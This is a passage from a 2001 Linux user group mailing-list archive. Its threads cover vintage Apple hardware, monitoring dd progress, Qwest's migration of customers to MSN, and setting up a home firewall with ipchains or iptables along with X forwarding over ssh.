do w/ it and then I'll put it in the classifieds. http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi I'll also get more detailed information for the BlackBox stuff. sim Sorry about this for all of you who don't really care what cool stuff is lying around in the basement. :) From jspinti at dart.dartdist.com Fri Aug 3 12:27:10 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: <3B6ADA03.5024EDE4@eetc.com> Message-ID: |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Simeon Johnston |Sent: Friday, August 03, 2001 12:07 PM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] Stuff I found/got at auction. What now? | | |Carl Wilhelm Soderstrom wrote: |> |> > 2x - Apple IIe's. What can these possibly be used for? |I don't even |> > know what OS these run... |> they don't really have an OS... there's an Apple BASIC |interpreter |> built into the ROM (sometimes I wish x86 boxen had something |like this..); |> which serves as a bootloader for whatever program you have. |> somewhere I probably still have a pile of 5.25" floppies with my |> Apple BASIC programs on it. | |We actually have/had one with a Z80 card in it. Man that looked |interesting. |IIRC Z80 is a pre x86 processor right? I think it was like the PC card |in the 6100's. The Zilog Z80 was a souped up version of the Intel 8080 with a few extra instructions. It was an 8-bit processor. My father-in-law added one to his Apple II so that he could run CP/M programs on it. It was the processor that ran in the Radio Shack TRS-80 and at least one version of the Heathkit computers (H-8 ?) and the early CP/M portables from Kaypro, et al. (at 25 lbs. or more). It gave Intel a run for their money until they came out with the 8088. Even after that NEC marketed a V-20 chip that emulated the Z-80 and ran 8088 instructions (faster and better that Intel...). At first MS-DOS programs were few and far between and most people still relied on CP/M stuff that was ported over or else ran CP/M in software emulation (slow-on a 4.77 MHz machine) or had dual processor machines (the Heathkit H-100 had an 8088 and 8085 that was selected at boot time). Just a little history on a Friday afternoon... From lxy at cloudnet.com Fri Aug 3 12:37:25 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] progress of DD? Message-ID: I had a hard drive fail this morning so I'm in the process of using Tom's kick*ss root boot to dd the old drive onto a new one. Is there any way of telling the progress of a dd operation? I just did a dd if=/dev/hdc of=/dev/hda so it'll sit there until it finishes, nut is there any way I can monitor how far along it is? Thanks! -Brian From swalkup at isd.net Fri Aug 3 12:59:21 2001 From: swalkup at isd.net (swalkup@isd.net) Date: Mon Jan 17 13:25:22 2005 Subject: [TCLUG] (no subject) Message-ID: <3b6ae679.50.0@isd.net> http://www.qwest.net/nav4/msn/faq.html Kinda glad I don't have DSL in my area yet. :-) Kelly From trammell at trammell.dyndns.org Fri Aug 3 08:11:19 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) In-Reply-To: <3b6ae679.50.0@isd.net>; from swalkup@isd.net on Fri, Aug 03, 2001 at 05:59:21PM +0000 References: <3b6ae679.50.0@isd.net> Message-ID: <20010803081119.A4676@trammell.dyndns.org> On Fri, Aug 03, 2001 at 05:59:21PM +0000, swalkup@isd.net wrote: > http://www.qwest.net/nav4/msn/faq.html [*whimper*] -- Aren't you, at this point, cutting down a California Redwood using a banana *and* a particle accelerator? - Bernard El-Hagin, in CLPM From doug at northlandstudios.com Fri Aug 3 13:20:09 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) References: <3b6ae679.50.0@isd.net> Message-ID: <005b01c11c48$f151fdb0$940f3c9e@DHENRYW2P> I cencelled my order this morning based on that too :-( ----- Original Message ----- From: To: Sent: Friday, August 03, 2001 12:59 PM Subject: [TCLUG] (no subject) > http://www.qwest.net/nav4/msn/faq.html > > Kinda glad I don't have DSL in my area yet. > > :-) > > Kelly > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Aug 3 13:18:48 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) In-Reply-To: <3b6ae679.50.0@isd.net> Message-ID: On Fri, 3 Aug 2001 swalkup@isd.net wrote: > http://www.qwest.net/nav4/msn/faq.html > > Kinda glad I don't have DSL in my area yet. Ah, but even if you did have DSL in the area, why would you use Qwest/MSN as your ISP? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Fri Aug 3 13:19:19 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) In-Reply-To: <005b01c11c48$f151fdb0$940f3c9e@DHENRYW2P> Message-ID: On Fri, 3 Aug 2001, doug wrote: > I cencelled my order this morning based on that too :-( Why? Just pick a good ISP! -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jason.lowe at cit-net.com Fri Aug 3 13:18:43 2001 From: jason.lowe at cit-net.com (Lowe, Jason) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) Message-ID: Exactly. the last time I checked I could use any ISP I wanted. -----Original Message----- From: Nate Carlson [mailto:natecars@real-time.com] Sent: Friday, August 03, 2001 1:19 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] (no subject) On Fri, 3 Aug 2001 swalkup@isd.net wrote: > http://www.qwest.net/nav4/msn/faq.html > > Kinda glad I don't have DSL in my area yet. Ah, but even if you did have DSL in the area, why would you use Qwest/MSN as your ISP? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From doug at northlandstudios.com Fri Aug 3 13:26:07 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) References: Message-ID: <006701c11c49$c3576700$940f3c9e@DHENRYW2P> Having the whole thing on one bill would have been nice:-) ----- Original Message ----- From: "Nate Carlson" To: Sent: Friday, August 03, 2001 1:18 PM Subject: Re: [TCLUG] (no subject) > On Fri, 3 Aug 2001 swalkup@isd.net wrote: > > http://www.qwest.net/nav4/msn/faq.html > > > > Kinda glad I don't have DSL in my area yet. > > Ah, but even if you did have DSL in the area, why would you use Qwest/MSN > as your ISP? :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jethro at freakzilla.com Fri Aug 3 13:23:33 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) In-Reply-To: Message-ID: Hi, On Fri, 3 Aug 2001, Nate Carlson wrote: > On Fri, 3 Aug 2001, doug wrote: > > I cencelled my order this morning based on that too :-( > Why? Just pick a good ISP! Quit being subtle! Tell them to choose Real-Time. I've been on Real-Time for over two years - the longest I've ever been with any ISP! They're nice AND they sponser the TCLUG. -Yaron -- From doug at northlandstudios.com Fri Aug 3 13:29:10 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) References: Message-ID: <007901c11c4a$306b71b0$940f3c9e@DHENRYW2P> Sorry, I meant I cancelled qwest as my ISP, not the dsl line, that's still coming on the 24th (fingers crossed).... ----- Original Message ----- From: "Yaron" To: Sent: Friday, August 03, 2001 1:23 PM Subject: Re: [TCLUG] (no subject) > Hi, > > On Fri, 3 Aug 2001, Nate Carlson wrote: > > > On Fri, 3 Aug 2001, doug wrote: > > > I cencelled my order this morning based on that too :-( > > Why? Just pick a good ISP! > > Quit being subtle! Tell them to choose Real-Time. > > I've been on Real-Time for over two years - the longest I've ever been > with any ISP! They're nice AND they sponser the TCLUG. > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 3 13:31:20 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:23 2005 Subject: [TCLUG] (no subject) References: <007901c11c4a$306b71b0$940f3c9e@DHENRYW2P> Message-ID: <005101c11c4a$7ec175d0$3028680a@tgt.com> I get a kick out of this, as I do it myself. There is no such thing as a DSL line. DSL line = Digital Subscriber Line line Hmm :) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "doug" To: Sent: Friday, August 03, 2001 1:29 PM Subject: Re: [TCLUG] (no subject) > Sorry, I meant I cancelled qwest as my ISP, not the dsl line, that's still > coming on the 24th (fingers crossed).... > > > ----- Original Message ----- > From: "Yaron" > To: > Sent: Friday, August 03, 2001 1:23 PM > Subject: Re: [TCLUG] (no subject) > > > > Hi, > > > > On Fri, 3 Aug 2001, Nate Carlson wrote: > > > > > On Fri, 3 Aug 2001, doug wrote: > > > > I cencelled my order this morning based on that too :-( > > > Why? Just pick a good ISP! > > > > Quit being subtle! Tell them to choose Real-Time. > > > > I've been on Real-Time for over two years - the longest I've ever been > > with any ISP! They're nice AND they sponser the TCLUG. > > > > -Yaron > > > > -- > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From blayer at qwest.net Fri Aug 3 13:31:58 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) In-Reply-To: <3b6ae679.50.0@isd.net> References: <3b6ae679.50.0@isd.net> Message-ID: <20010803133158.545cf555.blayer@qwest.net> Ok, W-T-F?? On Fri, 3 Aug 2001 17:59:21 GMT swalkup@isd.net wrote: > http://www.qwest.net/nav4/msn/faq.html > > Kinda glad I don't have DSL in my area yet. Ok, a couple of quotes from that FAQ: >Have Qwest.net Internet Access using an analog dial-up line, Qwest DSL 256, Qwest DSL Select, or Qwest DSL Deluxe connection and, Use the Windows operating system. Uh - So windows Users are being migrated... and why praytell is that? Can anyone explain this? >MAC Customers: MSN is working on a MAC solution for your Internet access needs. Until that time, there will not be any changes to your Qwest.net Internet Access service. Ok.. and Mac users are not? Why would the ISP you use make any diff to which OS you were running on your end? This is totally mind-boggling to me... And What about users of other operating systems? Are they developing a 'solution' for us? If they are, what is the problem they are trying to solve? I am totally in the dark... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From chri0704 at umn.edu Fri Aug 3 13:41:57 2001 From: chri0704 at umn.edu (H-P Christianson) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] ipchains and ssh Message-ID: <200108031841.NAA23521@www7.mail.umn.edu> Hello Linux users! I am continuing work on my home project box and I want to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to have default policy deny for the input chain, but allow a few things through. My question is, how do I let ssh connect to the X server? I can ssh from another linux box with the firewall up, but if I try to run an X programs I get a "can't connect to X" message. Also, if anyone knows any good references for this kind of home firewalling, I'd be very interested. All of the Howtos I've found deal with multiple boxes on a large commercial network. Thanks in advance. Hans Christianson From lxy at cloudnet.com Fri Aug 3 13:44:51 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) In-Reply-To: <20010803133158.545cf555.blayer@qwest.net> Message-ID: On Fri, 3 Aug 2001, Bill Layer wrote: > Ok, W-T-F?? I couldn't have said it better myself :-) Apparently, all you qwest.net users aren't "experiencing" the internet like MS thinks you should be able to. MSN is providing you with the "oppurtunity" to experience the web in exactly the way MS wants you to. Since there is some doubt in this, for your convenience you will be switched no matter what, because MSN knows what you want in an internet provider. Of course, if you're not running a MS OS you're not experiencing the net the way it was meant to be experienced so MS will be sure to leave you no choice but to switch to Windows. if I lived in the twin cities, *shameless promo for Real Time* would go here. -Brian From blayer at qwest.net Fri Aug 3 13:42:16 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) In-Reply-To: References: Message-ID: <20010803134216.57e7b9c3.blayer@qwest.net> On Fri, 3 Aug 2001 13:18:43 -0500 "Lowe, Jason" wrote: > Exactly. the last time I checked I could use any ISP I wanted. So, if I want to avoid this MSN plague - what so I have to do to switch over to another ISP, like Real-Time? Will there be additional monthly or one-time charges? Dammit, why does Qwest have to fsck everything up all the time!!?? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From doug at northlandstudios.com Fri Aug 3 13:50:17 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) References: <3b6ae679.50.0@isd.net> <20010803133158.545cf555.blayer@qwest.net> Message-ID: <008b01c11c4d$24060b80$940f3c9e@DHENRYW2P> ok I just spoke to Qwest, all non mac users will be converted to msn. The reason she stated was macs use different modems, and for reasons she never understood when she was told is why they can't be converted...which seems silly but oh well, I don't know much about macs. ----- Original Message ----- From: "Bill Layer" To: Sent: Friday, August 03, 2001 1:31 PM Subject: Re: [TCLUG] (no subject) > Ok, W-T-F?? > > On Fri, 3 Aug 2001 17:59:21 GMT > swalkup@isd.net wrote: > > > http://www.qwest.net/nav4/msn/faq.html > > > > Kinda glad I don't have DSL in my area yet. > > Ok, a couple of quotes from that FAQ: > > >Have Qwest.net Internet Access using an analog dial-up line, Qwest DSL > 256, Qwest DSL Select, or Qwest DSL Deluxe connection and, Use the Windows > operating system. > > Uh - So windows Users are being migrated... and why praytell is that? Can > anyone explain this? > > > >MAC Customers: MSN is working on a MAC solution for your Internet access > needs. Until that time, there will not be any changes to your Qwest.net > Internet Access service. > > Ok.. and Mac users are not? Why would the ISP you use make any diff to > which OS you were running on your end? This is totally mind-boggling to > me... And What about users of other operating systems? Are they developing > a 'solution' for us? If they are, what is the problem they are trying to > solve? > > I am totally in the dark... > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Aug 3 13:50:53 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) In-Reply-To: Message-ID: On Fri, 3 Aug 2001, Yaron wrote: > Quit being subtle! Tell them to choose Real-Time. I do my best not to shove Real Time down other people's throats.. I know that as a member of user's groups, it's really bothered me when people do that, so there's my reasoning. :) > I've been on Real-Time for over two years - the longest I've ever been > with any ISP! They're nice AND they sponser the TCLUG. ...not that I disagree with you! :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From austad at marketwatch.com Fri Aug 3 13:52:48 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) Message-ID: <54180709DD3FE145917BB165AFE7EFA00A841B@mspexch2.office.mktw.net> Mac users are probably staying for now because MSN is probably going to make all windows people install their crappy "connection" software. I bet it tracks your browsing habits and searches for pirated MS software. :) They're doing a lot of weird stuff in preparation for the XP launch. .NET is tied into their database stuff now and adds some pretty cool XML caching capabilities, so if you want to use stuff like that to improve the performance of your webservers, you're stuck with MS SQL server, which sucks if you want to move to oracle. > -----Original Message----- > From: Bill Layer [mailto:blayer@qwest.net] > Sent: Friday, August 03, 2001 1:32 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] (no subject) > > > Ok, W-T-F?? > > On Fri, 3 Aug 2001 17:59:21 GMT > swalkup@isd.net wrote: > > > http://www.qwest.net/nav4/msn/faq.html > > > > Kinda glad I don't have DSL in my area yet. > > Ok, a couple of quotes from that FAQ: > > >Have Qwest.net Internet Access using an analog dial-up line, > Qwest DSL > 256, Qwest DSL Select, or Qwest DSL Deluxe connection and, > Use the Windows operating system. > > Uh - So windows Users are being migrated... and why praytell > is that? Can anyone explain this? > > > >MAC Customers: MSN is working on a MAC solution for your Internet > >access > needs. Until that time, there will not be any changes to your > Qwest.net Internet Access service. > > Ok.. and Mac users are not? Why would the ISP you use make > any diff to which OS you were running on your end? This is > totally mind-boggling to me... And What about users of other > operating systems? Are they developing a 'solution' for us? > If they are, what is the problem they are trying to solve? > > I am totally in the dark... > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't > talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 3 13:54:11 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] ipchains and ssh References: <200108031841.NAA23521@www7.mail.umn.edu> Message-ID: <008901c11c4d$affbf870$3028680a@tgt.com> You should use iptables. RedHat 7.1 uses the 2.4 kernel, which uses iptable and not ipchains. You can load a module (or compile it in) to use ipchains (translation if you will), but it hardly makes sense for developing a new firewall (versus using an existing script). Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "H-P Christianson" To: Sent: Friday, August 03, 2001 1:41 PM Subject: [TCLUG] ipchains and ssh > Hello Linux users! I am continuing work on my home project box and I want > to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to have > default policy deny for the input chain, but allow a few things through. > My question is, how do I let ssh connect to the X server? I can ssh from > another linux box with the firewall up, but if I try to run an X programs I > get a "can't connect to X" message. Also, if anyone knows any good > references for this kind of home firewalling, I'd be very interested. All > of the Howtos I've found deal with multiple boxes on a large commercial > network. Thanks in advance. > > Hans Christianson > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From spencer at sihope.com Fri Aug 3 13:52:36 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] (no subject) In-Reply-To: <20010803134216.57e7b9c3.blayer@qwest.net>; from blayer@qwest.net on Fri, Aug 03, 2001 at 01:42:16PM -0500 References: <20010803134216.57e7b9c3.blayer@qwest.net> Message-ID: <20010803135236.A2234@mudpiefoods.com> At the Mud Pie we are currently using the qworst service. I will be moving that to Real-Time. I couldn't even stomach the entire article. I got to the part that said if'n you ain't swapped out by November we gonna swap for ya. @#!%$ that. I use sihope for my home account. That too I am considering switching to Real-Time. Why not, the folks at Real-Time never sleep. From lbehrens at boolion.com Fri Aug 3 14:06:05 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] Playing with Kylix Message-ID: > Ok that makes sense. But then does anyone know if there is a way to > "package" it all into one big executable file? (I would imagine there is a > way but can't find how) By "'package' it all" I assume you mean the application and related .so files as a single executable file. No, I don't believe there is right now. Lee Behrens From chri0704 at umn.edu Fri Aug 3 14:05:43 2001 From: chri0704 at umn.edu (H-P Christianson) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] ipchains and ssh Message-ID: <200108031905.OAA24227@www7.mail.umn.edu> I've read that. I got into ipchains because I started messing around with firewall-config which uses ipchains. And there's something screwy with iptables on my computer. I'll try maybe getting a fresh copy of it. On 3 Aug 2001, Thomas T. Veldhouse wrote: > You should use iptables. RedHat 7.1 uses the 2.4 kernel, which uses iptable > and not ipchains. You can load a module (or compile it in) to use ipchains > (translation if you will), but it hardly makes sense for developing a new > firewall (versus using an existing script). > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "H-P Christianson" > To: > Sent: Friday, August 03, 2001 1:41 PM > Subject: [TCLUG] ipchains and ssh > > > > Hello Linux users! I am continuing work on my home project box and I want > > to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to have > > default policy deny for the input chain, but allow a few things through. > > My question is, how do I let ssh connect to the X server? I can ssh from > > another linux box with the firewall up, but if I try to run an X programs > I > > get a "can't connect to X" message. Also, if anyone knows any good > > references for this kind of home firewalling, I'd be very interested. All > > of the Howtos I've found deal with multiple boxes on a large commercial > > network. Thanks in advance. > > > > Hans Christianson > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lbehrens at boolion.com Fri Aug 3 14:10:33 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] RE: Kylix (Thanks--No Thanks--Almost Thanks) Message-ID: > How long does it take to get the registration key? I did the > registration/survey thing yesterday morning and still have not received > anything from borland. It should be relatively quick, but maybe their servers are playing catch up. At one point Borland was logging a new Kylix download every 3 seconds, so the registration servers were likely being hit pretty hard as well. Try it again and see what happens. Lee Behrens From veldy at veldy.net Fri Aug 3 14:15:08 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] ipchains and ssh References: <200108031841.NAA23521@www7.mail.umn.edu> Message-ID: <00c001c11c50$9d2bcf60$3028680a@tgt.com> Here is an iptables firewall script that will work well for a single client. You might want to edit it a bit to remove the references to ${lan}. This is only used to "allow all lan traffic". You also might want to change the IP address :) Please don't send this file out publicly. I would prefer to not have it "known" what is open and what is not on one of my boxes (even though it is behind another firewall -- it is mostly a transparent firewall). Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "H-P Christianson" To: Sent: Friday, August 03, 2001 1:41 PM Subject: [TCLUG] ipchains and ssh > Hello Linux users! I am continuing work on my home project box and I want > to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to have > default policy deny for the input chain, but allow a few things through. > My question is, how do I let ssh connect to the X server? I can ssh from > another linux box with the firewall up, but if I try to run an X programs I > get a "can't connect to X" message. Also, if anyone knows any good > references for this kind of home firewalling, I'd be very interested. All > of the Howtos I've found deal with multiple boxes on a large commercial > network. Thanks in advance. > > Hans Christianson > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -------------- next part -------------- A non-text attachment was scrubbed... Name: rc.firewall.client Type: application/octet-stream Size: 3552 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/5c3eb665/rc.firewall.obj From veldy at veldy.net Fri Aug 3 14:16:33 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:24 2005 Subject: [TCLUG] ipchains and ssh References: <200108031841.NAA23521@www7.mail.umn.edu> <00c001c11c50$9d2bcf60$3028680a@tgt.com> Message-ID: <00f301c11c50$cf9a93a0$3028680a@tgt.com> Looks like I blew that one :) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Thomas T. Veldhouse" To: Sent: Friday, August 03, 2001 2:15 PM Subject: Re: [TCLUG] ipchains and ssh > Here is an iptables firewall script that will work well for a single client. > > You might want to edit it a bit to remove the references to ${lan}. This is > only used to "allow all lan traffic". You also might want to change the IP > address :) > > Please don't send this file out publicly. I would prefer to not have it > "known" what is open and what is not on one of my boxes (even though it is > behind another firewall -- it is mostly a transparent firewall). > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "H-P Christianson" > To: > Sent: Friday, August 03, 2001 1:41 PM > Subject: [TCLUG] ipchains and ssh > > > > Hello Linux users! I am continuing work on my home project box and I want > > to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to have > > default policy deny for the input chain, but allow a few things through. > > My question is, how do I let ssh connect to the X server? I can ssh from > > another linux box with the firewall up, but if I try to run an X programs > I > > get a "can't connect to X" message. Also, if anyone knows any good > > references for this kind of home firewalling, I'd be very interested. All > > of the Howtos I've found deal with multiple boxes on a large commercial > > network. Thanks in advance. > > > > Hans Christianson > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > From gje at parrotheaven.com Fri Aug 3 14:16:19 2001 From: gje at parrotheaven.com (Greg Evans) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh In-Reply-To: <200108031841.NAA23521@www7.mail.umn.edu>; from chri0704@umn.edu on Fri, Aug 03, 2001 at 01:41:57PM -0500 References: <200108031841.NAA23521@www7.mail.umn.edu> Message-ID: <20010803141619.A8847@parrotheaven.com> Since X is tunneled through ssh when you use it it sounds like perhaps you're experiencing a ssh configuration issue rather then an ipchains issue. Look in the server's sshd_config file to make sure that X forwarding is enabled, and try using ssh with the -v option for some verbose output. Perhaps you'll see "cannot locate xauth"...? H-P Christianson [chri0704@umn.edu] wrote: > Hello Linux users! I am continuing work on my home project box and I want > to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to have > default policy deny for the input chain, but allow a few things through. > My question is, how do I let ssh connect to the X server? I can ssh from > another linux box with the firewall up, but if I try to run an X programs I > get a "can't connect to X" message. Also, if anyone knows any good > references for this kind of home firewalling, I'd be very interested. All > of the Howtos I've found deal with multiple boxes on a large commercial > network. Thanks in advance. > > Hans Christianson > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- /* Greg Evans gje@parrotheaven.com http://www.gregevans.org/ */ ------------ "For believe me: the secret for harvesting from existence the greatest fruitfulness and the greatest enjoyment is to live dangerously! Build your cities on the slopes of Vesuvius!" -F. Nietzsche -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/7e40ef89/attachment.pgp From dieman+tclug at ringworld.org Fri Aug 3 14:17:35 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] Stuff I found/got at auction. Revised: In-Reply-To: <3B6ADDC5.F28E8CC@eetc.com> Message-ID: <20010803141735.G6692@ringworld.org> * Simeon Johnston [010803 12:26]: > Okay. I spoke a little too soon. The macs we are trying to get rid of. Can I snag that 840av? -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From blayer at qwest.net Fri Aug 3 14:24:17 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] MSN - tell us the REAL story In-Reply-To: References: <20010803133158.545cf555.blayer@qwest.net> Message-ID: <20010803142417.7a56d71b.blayer@qwest.net> On Fri, 3 Aug 2001 13:44:51 -0500 (CDT) "Brian" wrote: > On Fri, 3 Aug 2001, Bill Layer wrote: > > > Ok, W-T-F?? > > I couldn't have said it better myself :-) Apparently, all you qwest.net > users aren't "experiencing" the internet like MS thinks you should be able > to. That is the obvious implication - but I still don't understand it. I talked to Qwest briefly this AM, and I asked about who is and is not being migrated.. Apparently, all "NON-Mac" users are being migrated, because the "MSN Software only works on Windows machines".. The two people at Qwest that I spoke to did not understand that "NON-Mac" does not = Windows. They both said, that in their training, they were told that "All non-Macintosh users would be switched, and there is nothing to be done about it" Now at this point, an inquisitive person might ask themself - what exactly is this "MSN Software" that they are talking about? Some kind of front-end to IE / Outlook? Some piece of spyware - a little hunk of XP just for you? Why are they so incredibly vague about what is going on here? This all sounds like a giant whitewashing job to me... I want the REAL story... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From kblack at isd.net Fri Aug 3 14:46:39 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] (no subject) Message-ID: <3b6aff9f.6d3.0@isd.net> Because I would be cheap! The part time connection is the cheapest I can get high speed access. If I could get full time connect with an ISP of my choice, I would be doing that already. Just cuts back on the options. Kelly On Fri, 3 Aug 2001 swalkup@isd.net wrote: > http://www.qwest.net/nav4/msn/faq.html > > Kinda glad I don't have DSL in my area yet. Ah, but even if you did have DSL in the area, why would you use Qwest/MSN as your ISP? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From gmcdavid at winternet.com Fri Aug 3 14:54:39 2001 From: gmcdavid at winternet.com (gmcdavid@winternet.com) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] MSN - tell us the REAL story Message-ID: <200108031954.f73Jsda19957@icefloe.winternet.com> Bill Layer asked: > Now at this point, an inquisitive person might ask themself - what exactly > is this "MSN Software" that they are talking about? Some kind of front-end > to IE / Outlook? Some piece of spyware - a little hunk of XP just for you? IIRC, somewhere recently I read that MSN requires Outlook or Outlook Express as the mail client. MSN is not your normal ISP, which should not surprise anybody. [Insert your favorite anti-monopoly rant here :-)> ] Glenn McDavid mailto:gmcdavid@winternet.com http://www.winternet.com/~gmcdavid From gmcdavid at winternet.com Fri Aug 3 15:00:51 2001 From: gmcdavid at winternet.com (gmcdavid@winternet.com) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh Message-ID: <200108032000.f73K0ph19963@icefloe.winternet.com> Hans Christianson wrote: > Hello Linux users! I am continuing work on my home project box and I want > to use ipchains to make a sturdy firewall. (RedHat 7.1). [....] Also, if > anyone knows any good references for this kind of home firewalling, I'd be > very interested. All of the Howtos I've found deal with multiple boxes on > a large commercial network. Thanks in advance. You might want to look at Ziegler, _Linux Firewalls_. He has a web site at http://www.linux-firewall-tools.com/linux/ Glenn McDavid mailto:gmcdavid@winternet.com http://www.winternet.com/~gmcdavid From zibby+tclug at ringworld.org Fri Aug 3 15:07:46 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski 